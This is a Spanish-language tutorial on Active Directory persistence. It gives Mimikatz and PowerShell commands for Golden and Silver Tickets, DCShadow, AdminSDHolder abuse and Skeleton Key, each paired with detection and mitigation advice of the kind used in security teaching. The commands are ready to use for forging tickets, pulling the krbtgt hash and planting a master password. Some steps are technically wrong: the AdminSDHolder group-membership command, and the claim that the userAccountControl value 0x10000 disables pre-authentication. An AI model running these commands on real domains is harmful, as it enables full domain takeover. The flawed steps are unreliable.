Persistencia en Active Directory
La persistencia es una fase crítica en el proceso de comprometer un entorno de Active Directory. Permite a un atacante mantener el acceso al sistema comprometido incluso después de que se hayan aplicado parches o se hayan cambiado las credenciales. A continuación, se detallan algunas de las técnicas más comunes de persistencia en Active Directory, junto con ejemplos prácticos de explotación y medidas de mitigación.
1. Golden Ticket
El Golden Ticket es una de las técnicas de persistencia más poderosas en Active Directory. Implica la creación de un Ticket Granting Ticket (TGT) falsificado utilizando la clave del servicio krbtgt.
Ejemplo de explotación:
- Obtener el hash NTLM del servicio krbtgt:
Invoke-Mimikatz -Command '"lsadump::dcsync /user:krbtgt"'
- Crear el Golden Ticket:
Invoke-Mimikatz -Command '"kerberos::golden /user:FakeAdmin /domain:sevenkingdoms.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /krbtgt:HASH_OBTENIDO_EN_PASO_1 /ptt"'
Este comando creará un ticket para un usuario ficticio "FakeAdmin" con privilegios de administrador de dominio.
Mitigación:
- Cambiar regularmente la contraseña de la cuenta krbtgt (al menos dos veces).
- Monitorear eventos de autenticación Kerberos inusuales (Event ID 4768).
- Implementar detección de anomalías en el uso de tickets Kerberos.
2. Silver Ticket
Similar al Golden Ticket, pero se crea para un servicio específico en lugar de para todo el dominio.
Ejemplo de explotación:
- Obtener el hash NTLM de la cuenta de servicio objetivo:
Invoke-Mimikatz -Command '"sekurlsa::logonpasswords"'
- Crear el Silver Ticket:
Invoke-Mimikatz -Command '"kerberos::golden /user:FakeService /domain:sevenkingdoms.local /sid:S-1-5-21-1234567890-1234567890-1234567890 /target:targetserver.sevenkingdoms.local /service:cifs /rc4:HASH_OBTENIDO_EN_PASO_1 /ptt"'
Este comando creará un ticket para acceder al servicio CIFS en el servidor objetivo.
Mitigación:
- Implementar autenticación Kerberos con armadura (Kerberos Armoring).
- Monitorear el uso de tickets de servicio (Event ID 4769).
- Rotar regularmente las contraseñas de las cuentas de servicio.
3. DCShadow
DCShadow es una técnica que permite a un atacante simular ser un controlador de dominio y realizar cambios en Active Directory.
Ejemplo de explotación:
- Registrar un controlador de dominio falso:
Invoke-Mimikatz -Command '"lsadump::dcshadow /object:CN=AdminAccount,CN=Users,DC=sevenkingdoms,DC=local /attribute:userAccountControl /value:+0x10000"'
- Ejecutar los cambios:
Invoke-Mimikatz -Command '"lsadump::dcshadow /push"'
Este ataque modificará el atributo userAccountControl de la cuenta AdminAccount para convertirla en una cuenta que no requiere pre-autenticación Kerberos.
Mitigación:
- Monitorear la creación de nuevos objetos de controlador de dominio (Event ID 5137).
- Implementar controles de acceso estrictos para la creación y modificación de objetos en AD.
- Utilizar herramientas de monitoreo de cambios en AD en tiempo real.
4. AdminSDHolder y SDProp
Esta técnica abusa del proceso SDProp para mantener privilegios elevados.
Ejemplo de explotación:
- Modificar el AdminSDHolder:
Add-ADGroupMember -Identity "AdminSDHolder" -Members "EvilUser"
- Forzar la ejecución de SDProp:
Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose
Esto agregará "EvilUser" a todos los objetos protegidos por AdminSDHolder.
Mitigación:
- Monitorear cambios en el contenedor AdminSDHolder (Event ID 5136).
- Realizar auditorías regulares de los miembros de grupos privilegiados.
- Implementar herramientas de monitoreo de cambios en AD.
5. Skeleton Key
Esta técnica instala una contraseña maestra que funciona para todas las cuentas del dominio.
Ejemplo de explotación:
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"'
Esto instalará una Skeleton Key con la contraseña "mimikatz".
Mitigación:
- Implementar detección de procesos sospechosos en los controladores de dominio.
- Utilizar herramientas de integridad de archivos para detectar cambios en archivos críticos del sistema.
- Monitorear el uso de credenciales en el dominio para detectar patrones inusuales.
Conclusión
La persistencia en Active Directory es un tema complejo y en constante evolución. Los atacantes continuamente desarrollan nuevas técnicas, mientras que los defensores deben mantenerse actualizados y vigilantes. La implementación de una estrategia de defensa en profundidad, que incluya monitoreo continuo, auditorías regulares y la aplicación del principio de menor privilegio, es crucial para proteger un entorno de Active Directory contra estas amenazas persistentes.